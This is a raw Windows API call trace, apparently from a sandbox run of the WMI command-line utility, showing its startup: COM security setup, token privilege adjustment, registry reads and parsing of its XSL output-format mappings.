QueryPerformanceCounter (in: lpPerformanceCount=0x2bff3c | out: lpPerformanceCount=0x2bff3c*=20138879446) returned 1 [0081.582] GetModuleHandleA (lpModuleName=0x0) returned 0x850000 [0081.582] __set_app_type (_Type=0x1) [0081.582] __p__fmode () returned 0x770331f4 [0081.582] __p__commode () returned 0x770331fc [0081.582] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x88dc15) returned 0x0 [0081.583] __wgetmainargs (in: _Argc=0x89c5e8, _Argv=0x89c5f0, _Env=0x89c5ec, _DoWildCard=0, _StartInfo=0x89c5fc | out: _Argc=0x89c5e8, _Argv=0x89c5f0, _Env=0x89c5ec) returned 0 [0081.590] ??0CHString@@QAE@XZ () returned 0x89c28c [0081.590] malloc (_Size=0x18) returned 0x33d88 [0081.591] malloc (_Size=0x38) returned 0x33da8 [0081.591] malloc (_Size=0x28) returned 0x33de8 [0081.591] malloc (_Size=0x18) returned 0x33e18 [0081.591] malloc (_Size=0x24) returned 0x33e38 [0081.592] malloc (_Size=0x18) returned 0x33e68 [0081.592] malloc (_Size=0x18) returned 0x33e88 [0081.592] ??0CHString@@QAE@XZ () returned 0x89c594 [0081.592] malloc (_Size=0x18) returned 0x33ea8 [0081.592] ?Empty@CHString@@QAEXXZ () returned 0x75040504 [0081.592] SetConsoleCtrlHandler (HandlerRoutine=0x886b6f, Add=1) returned 1 [0081.592] _onexit (_Func=0x892f1f) returned 0x892f1f [0081.592] _onexit (_Func=0x892f2e) returned 0x892f2e [0081.592] _onexit (_Func=0x892f42) returned 0x892f42 [0081.592] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0081.593] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.594] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0082.030] CoCreateInstance (in: rclsid=0x856c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x856b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x89c1b0 | out: ppv=0x89c1b0*=0x1d90828) returned 0x0 [0082.943] GetCurrentProcess () returned 0xffffffff [0082.943] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x2bfdec | out: TokenHandle=0x2bfdec*=0x108) returned 1 [0082.943] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2bfde8 | out: TokenInformation=0x0, ReturnLength=0x2bfde8) returned 0 [0082.943] malloc (_Size=0x118) returned 0x32720 [0082.943] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x32720, TokenInformationLength=0x118, ReturnLength=0x2bfde8 | out: TokenInformation=0x32720, ReturnLength=0x2bfde8) returned 1 [0082.943] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x32720*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0082.943] free (_Block=0x32720) [0082.943] CloseHandle (hObject=0x108) returned 1 [0082.943] malloc (_Size=0x40) returned 0x32720 [0082.943] malloc (_Size=0x40) returned 0x32768 [0082.943] malloc (_Size=0x40) returned 0x327b0 [0082.944] malloc (_Size=0x20a) returned 0x327f8 [0082.944] GetSystemDirectoryW (in: lpBuffer=0x327f8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0082.944] free (_Block=0x327f8) [0082.946] malloc (_Size=0xc) returned 0x327f8 [0082.946] malloc (_Size=0xc) returned 0x32810 [0082.946] malloc (_Size=0xc) returned 0x32828 [0082.946] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0082.947] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0082.947] free (_Block=0x327f8) [0082.947] free (_Block=0x32810) [0082.947] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76d30000 [0082.948] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0082.948] SetThreadUILanguage (LangId=0x0) returned 0x409 [0082.949] FreeLibrary (hLibModule=0x76d30000) returned 1 [0082.949] free (_Block=0x32828) [0082.949] _vsnwprintf (in: _Buffer=0x327b0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x2bfd48 | out: _Buffer="ms_409") returned 6 [0082.949] malloc (_Size=0x20) returned 0x327f8 [0082.949] GetComputerNameW (in: lpBuffer=0x327f8, nSize=0x2bfda0 | out: lpBuffer="XDUWTFONO", nSize=0x2bfda0) returned 1 [0082.950] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.950] malloc (_Size=0x14) returned 0x32820 [0082.950] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.950] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x2bfddc | out: lpNameBuffer=0x0, nSize=0x2bfddc) returned 0x0 [0082.953] GetLastError () returned 0xea [0082.953] malloc (_Size=0x40) returned 0x32840 [0082.953] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x32840, nSize=0x2bfddc | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2bfddc) returned 0x1 [0082.953] lstrlenW (lpString="") returned 0 [0082.953] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.953] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0082.956] lstrlenW (lpString=".") returned 1 [0082.956] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0082.956] lstrlenW (lpString="LOCALHOST") returned 9 [0082.956] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.956] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0082.956] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.956] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.957] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0082.957] free (_Block=0x32820) [0082.957] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.957] malloc (_Size=0x14) returned 0x32820 [0082.957] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.957] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.957] malloc (_Size=0x14) returned 0x32888 [0082.957] lstrlenW (lpString="XDUWTFONO") returned 9 [0082.957] malloc (_Size=0x4) returned 0x33fd8 [0082.957] malloc (_Size=0xc) returned 0x328a8 [0082.957] malloc (_Size=0x18) returned 0x328c0 [0082.957] malloc (_Size=0xc) returned 0x328e0 [0082.957] SysStringLen (param_1="IDENTIFY") returned 0x8 [0082.957] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0082.957] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0082.957] SysStringLen (param_1="IDENTIFY") returned 0x8 [0082.957] malloc (_Size=0x18) returned 0x328f8 [0082.957] malloc (_Size=0xc) returned 0x32918 [0082.957] SysStringLen (param_1="IMPERSONATE") returned 0xb [0082.958] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0082.958] SysStringLen (param_1="IMPERSONATE") returned 0xb [0082.958] SysStringLen (param_1="IDENTIFY") returned 0x8 [0082.958] SysStringLen (param_1="IDENTIFY") returned 0x8 [0082.958] SysStringLen (param_1="IMPERSONATE") returned 0xb [0082.958] malloc (_Size=0x18) returned 0x32930 [0082.958] malloc (_Size=0xc) returned 0x32950 [0082.958] SysStringLen (param_1="DELEGATE") returned 0x8 [0082.958] SysStringLen (param_1="IDENTIFY") returned 0x8 [0082.958] SysStringLen (param_1="DELEGATE") returned 0x8 [0082.958] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0082.958] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0082.958] SysStringLen (param_1="DELEGATE") returned 0x8 [0082.958] malloc (_Size=0x18) returned 0x32968 [0082.958] malloc (_Size=0xc) returned 0x32988 [0082.958] malloc (_Size=0x18) returned 0x329a0 [0082.958] malloc (_Size=0xc) returned 0x329c0 [0082.959] SysStringLen (param_1="NONE") returned 0x4 [0082.959] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.959] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.959] SysStringLen (param_1="NONE") returned 0x4 [0082.959] malloc (_Size=0x18) returned 0x329d8 [0082.959] malloc (_Size=0xc) returned 0x329f8 [0082.960] SysStringLen (param_1="CONNECT") returned 0x7 [0082.960] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.960] malloc (_Size=0x18) returned 0x32a10 [0082.960] malloc (_Size=0xc) returned 0x32a30 [0082.960] SysStringLen (param_1="CALL") returned 0x4 [0082.960] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.960] SysStringLen (param_1="CALL") returned 0x4 [0082.960] SysStringLen (param_1="CONNECT") returned 0x7 [0082.961] malloc (_Size=0x18) returned 0x3e868 [0082.961] malloc (_Size=0xc) returned 0x32e48 [0082.961] SysStringLen (param_1="PKT") returned 0x3 [0082.961] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.961] SysStringLen (param_1="PKT") returned 0x3 [0082.961] SysStringLen (param_1="NONE") returned 0x4 [0082.961] SysStringLen (param_1="NONE") returned 0x4 [0082.961] SysStringLen (param_1="PKT") returned 0x3 [0082.961] malloc (_Size=0x18) returned 0x3e888 [0082.961] malloc (_Size=0xc) returned 0x32e60 [0082.961] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.961] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.961] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.961] SysStringLen (param_1="NONE") returned 0x4 [0082.961] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.961] SysStringLen (param_1="PKT") returned 0x3 [0082.961] SysStringLen (param_1="PKT") returned 0x3 [0082.961] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.961] malloc (_Size=0x18) returned 0x3e8a8 [0082.961] malloc (_Size=0xc) returned 0x32e78 [0082.962] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0082.962] SysStringLen (param_1="DEFAULT") returned 0x7 [0082.962] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0082.962] SysStringLen (param_1="PKT") returned 0x3 [0082.962] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0082.962] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.962] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0082.962] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0082.962] malloc (_Size=0x18) returned 0x3e8c8 [0082.962] malloc (_Size=0x40) returned 0x32e90 [0082.962] malloc (_Size=0x20a) returned 0x32ed8 [0082.962] GetSystemDirectoryW (in: lpBuffer=0x32ed8, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0082.962] free (_Block=0x32ed8) [0082.962] malloc (_Size=0xc) returned 0x32ed8 [0082.962] malloc (_Size=0xc) returned 0x32ef0 [0082.962] malloc (_Size=0xc) returned 0x32f08 [0082.962] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0082.962] SysStringLen (param_1="\\wbem\\") returned 0x6 [0082.962] free (_Block=0x32ed8) [0082.963] free (_Block=0x32ef0) [0082.963] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0082.963] free (_Block=0x32f08) [0082.963] malloc (_Size=0xc) returned 0x32ed8 [0082.963] malloc (_Size=0xc) returned 0x32ef0 [0082.963] malloc (_Size=0xc) returned 0x32f08 [0082.963] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0082.963] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0082.963] free (_Block=0x32ed8) [0082.963] free (_Block=0x32ef0) [0082.963] GetCurrentThreadId () returned 0x5a8 [0082.963] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x2bf8f8 | out: phkResult=0x2bf8f8*=0x10c) returned 0x0 [0082.964] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x2bf904, lpcbData=0x2bf900*=0x400 | out: lpType=0x0, lpData=0x2bf904*=0x30, lpcbData=0x2bf900*=0x4) returned 0x0 [0082.964] _wcsicmp (_String1="0", _String2="1") returned -1 [0082.964] _wcsicmp (_String1="0", _String2="2") returned -2 [0082.964] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x2bf900*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x2bf900*=0x42) returned 0x0 [0082.964] malloc (_Size=0x86) returned 0x32f20 [0082.964] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x32f20, lpcbData=0x2bf900*=0x42 | out: lpType=0x0, lpData=0x32f20*=0x25, lpcbData=0x2bf900*=0x42) returned 0x0 [0082.964] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0082.964] malloc (_Size=0x42) returned 0x32fb0 [0082.964] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0082.964] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x2bf904, lpcbData=0x2bf900*=0x400 | out: lpType=0x0, lpData=0x2bf904*=0x36, lpcbData=0x2bf900*=0xc) returned 0x0 [0082.964] _wtol (_String="65536") returned 65536 [0082.964] free (_Block=0x32f20) [0082.964] RegCloseKey (hKey=0x0) returned 0x6 [0082.964] CoCreateInstance (in: rclsid=0x856d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x856d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x2bfd94 | out: ppv=0x2bfd94*=0x20f4630) returned 0x0 [0083.548] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x20f4630, xmlSource=0x2bfd18*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x77c7, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x2bfd7c | out: isSuccessful=0x2bfd7c*=0xffff) returned 0x0 [0084.156] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x20f4630, DOMElement=0x2bfd90 | out: DOMElement=0x2bfd90*=0x20f8c58) returned 0x0 [0084.157] malloc (_Size=0xc) returned 0x32ed8 [0084.157] IXMLDOMElement:getElementsByTagName (in: This=0x20f8c58, tagName="XSLFORMAT", resultList=0x2bfd8c | out: resultList=0x2bfd8c*=0x20f8e80) returned 0x0 [0084.157] free (_Block=0x32ed8) [0084.157] IXMLDOMNodeList:get_length (in: This=0x20f8e80, listLength=0x2bfd74 | out: listLength=0x2bfd74*=21) returned 0x0 [0084.157] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=0, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.158] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="texttable.xsl") returned 0x0 [0084.158] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.158] malloc (_Size=0xc) returned 0x32ed8 [0084.158] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.158] free (_Block=0x32ed8) [0084.158] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0084.159] malloc (_Size=0xc) returned 0x32ed8 [0084.159] malloc (_Size=0xc) returned 0x32ef0 [0084.159] malloc (_Size=0x18) returned 0x3e8e8 [0084.159] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.159] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.159] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.159] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=1, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.159] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="textvaluelist.xsl") returned 0x0 [0084.159] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.159] malloc (_Size=0xc) returned 0x33110 [0084.159] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.160] free (_Block=0x33110) [0084.160] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0084.160] malloc (_Size=0xc) returned 0x33110 [0084.160] malloc (_Size=0xc) returned 0x33128 [0084.160] SysStringLen (param_1="VALUE") returned 0x5 [0084.160] SysStringLen (param_1="TABLE") returned 0x5 [0084.160] SysStringLen (param_1="TABLE") returned 0x5 [0084.160] SysStringLen (param_1="VALUE") returned 0x5 [0084.160] malloc (_Size=0x18) returned 0x3e908 [0084.160] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.160] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.160] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.160] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=2, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.160] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="textvaluelist.xsl") returned 0x0 [0084.161] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.161] malloc (_Size=0xc) returned 0x33140 [0084.161] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.161] free (_Block=0x33140) [0084.161] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="LIST", varVal2=0x0)) returned 0x0 [0084.161] malloc (_Size=0xc) returned 0x3fac8 [0084.161] malloc (_Size=0xc) returned 0x3fae0 [0084.161] SysStringLen (param_1="LIST") returned 0x4 [0084.161] SysStringLen (param_1="TABLE") returned 0x5 [0084.161] malloc (_Size=0x18) returned 0x3e928 [0084.161] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.161] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.161] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.161] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=3, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.162] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="rawxml.xsl") returned 0x0 [0084.162] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.162] malloc (_Size=0xc) returned 0x3faf8 [0084.162] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.162] free (_Block=0x3faf8) [0084.162] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0084.162] malloc (_Size=0xc) returned 0x3faf8 [0084.162] malloc (_Size=0xc) returned 0x3fb10 [0084.162] SysStringLen (param_1="RAWXML") returned 0x6 [0084.162] SysStringLen (param_1="TABLE") returned 0x5 [0084.162] SysStringLen (param_1="RAWXML") returned 0x6 [0084.162] SysStringLen (param_1="LIST") returned 0x4 [0084.162] SysStringLen (param_1="LIST") returned 0x4 [0084.162] SysStringLen (param_1="RAWXML") returned 0x6 [0084.162] malloc (_Size=0x18) returned 0x3e948 [0084.163] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.163] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.163] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.163] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=4, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.163] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="htable.xsl") returned 0x0 [0084.163] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.163] malloc (_Size=0xc) returned 0x3fb28 [0084.163] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.163] free (_Block=0x3fb28) [0084.163] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0084.163] malloc (_Size=0xc) returned 0x3fb28 [0084.163] malloc (_Size=0xc) returned 0x3fb40 [0084.163] SysStringLen (param_1="HTABLE") returned 0x6 [0084.163] SysStringLen (param_1="TABLE") returned 0x5 [0084.163] SysStringLen (param_1="HTABLE") returned 0x6 [0084.163] SysStringLen (param_1="LIST") returned 0x4 [0084.163] malloc (_Size=0x18) returned 0x3e968 [0084.164] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.164] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.164] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.164] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=5, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.164] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="hform.xsl") returned 0x0 [0084.164] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.164] malloc (_Size=0xc) returned 0x3fb58 [0084.164] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.164] free (_Block=0x3fb58) [0084.164] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0084.164] malloc (_Size=0xc) returned 0x3fb58 [0084.164] malloc (_Size=0xc) returned 0x3fb70 [0084.164] SysStringLen (param_1="HFORM") returned 0x5 [0084.165] SysStringLen (param_1="TABLE") returned 0x5 [0084.165] SysStringLen (param_1="HFORM") returned 0x5 [0084.165] SysStringLen (param_1="LIST") returned 0x4 [0084.165] SysStringLen (param_1="HFORM") returned 0x5 [0084.165] SysStringLen (param_1="HTABLE") returned 0x6 [0084.165] malloc (_Size=0x18) returned 0x3e988 [0084.165] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.165] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.165] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.165] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=6, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.165] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="xml.xsl") returned 0x0 [0084.165] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.165] malloc (_Size=0xc) returned 0x3fb88 [0084.165] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.165] free (_Block=0x3fb88) [0084.165] IXMLDOMNode:get_nodeValue (in: This=0x20f8c98, value=0x2bfd4c | out: value=0x2bfd4c*(varType=0x8, wReserved1=0x3, wReserved2=0x2ef0, wReserved3=0x3, varVal1="XML", varVal2=0x0)) returned 0x0 [0084.166] malloc (_Size=0xc) returned 0x3fb88 [0084.166] malloc (_Size=0xc) returned 0x3fba0 [0084.166] SysStringLen (param_1="XML") returned 0x3 [0084.166] SysStringLen (param_1="TABLE") returned 0x5 [0084.166] SysStringLen (param_1="XML") returned 0x3 [0084.166] SysStringLen (param_1="VALUE") returned 0x5 [0084.166] SysStringLen (param_1="VALUE") returned 0x5 [0084.166] SysStringLen (param_1="XML") returned 0x3 [0084.166] malloc (_Size=0x18) returned 0x3e9a8 [0084.166] IUnknown:Release (This=0x20f4b20) returned 0x0 [0084.166] IUnknown:Release (This=0x20f8cf8) returned 0x0 [0084.166] IUnknown:Release (This=0x20f8c98) returned 0x0 [0084.166] IXMLDOMNodeList:get_item (in: This=0x20f8e80, index=7, listItem=0x2bfda8 | out: listItem=0x2bfda8*=0x20f4b20) returned 0x0 [0084.166] IXMLDOMNode:get_text (in: This=0x20f4b20, text=0x2bfdb0 | out: text=0x2bfdb0*="mof.xsl") returned 0x0 [0084.166] IXMLDOMNode:get_attributes (in: This=0x20f4b20, attributeMap=0x2bfda4 | out: attributeMap=0x2bfda4*=0x20f8cf8) returned 0x0 [0084.166] malloc (_Size=0xc) returned 0x3fbb8 [0084.166] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x20f8cf8, name="KEYWORD", namedItem=0x2bfda0 | out: namedItem=0x2bfda0*=0x20f8c98) returned 0x0 [0084.167] free (_Block=0x3fbb8) [0084.167] 